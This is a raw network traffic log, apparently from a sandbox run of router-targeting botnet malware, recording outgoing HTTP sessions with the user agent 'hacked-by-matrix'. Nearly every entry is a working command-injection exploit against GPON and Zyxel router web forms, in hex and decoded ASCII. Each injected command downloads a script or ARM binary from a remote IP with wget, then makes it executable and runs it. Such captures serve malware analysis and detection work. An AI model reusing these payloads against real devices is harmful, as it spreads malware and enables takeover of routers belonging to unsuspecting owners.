Mar 21, 2024 05:18:33.278088093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1054	192.168.2.23	46146	2.52.192.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.278131962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1055	192.168.2.23	33364	5.126.231.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.278173923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1056	192.168.2.23	43154	2.201.62.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.278173923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1057	192.168.2.23	35210	210.233.249.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.278229952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1058	192.168.2.23	50742	2.85.197.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.278258085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1059	192.168.2.23	45320	5.19.27.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.278342009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1060	192.168.2.23	34288	206.84.254.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.515806913 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:34.009408951 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:34.488950968 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:34.644620895 CET	1286	IN	HTTP/1.1 400 Bad Request Connection: close Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; Cache-Control: no-cache,no-store Pragma: no-cache Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deig
Mar 21, 2024 05:18:34.646591902 CET	193	IN	Data Raw: 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 Data Ascii: ns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1061	192.168.2.23	45458	82.165.118.242	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.540209055 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1062	192.168.2.23	35472	178.205.168.30	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.983551025 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:35.347938061 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:36.947750092 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:40.243328094 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:40.470165968 CET	369	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.16.1 Date: Thu, 21 Mar 2024 04:19:36 GMT Content-Type: text/html Content-Length: 145 Connection: close Location: https://sbr.taifazs.ru/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1063	192.168.2.23	54258	181.78.124.251	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:34.689492941 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1064	192.168.2.23	34376	206.84.254.147	80

Timestamp	Bytes transferred	Direction	Data
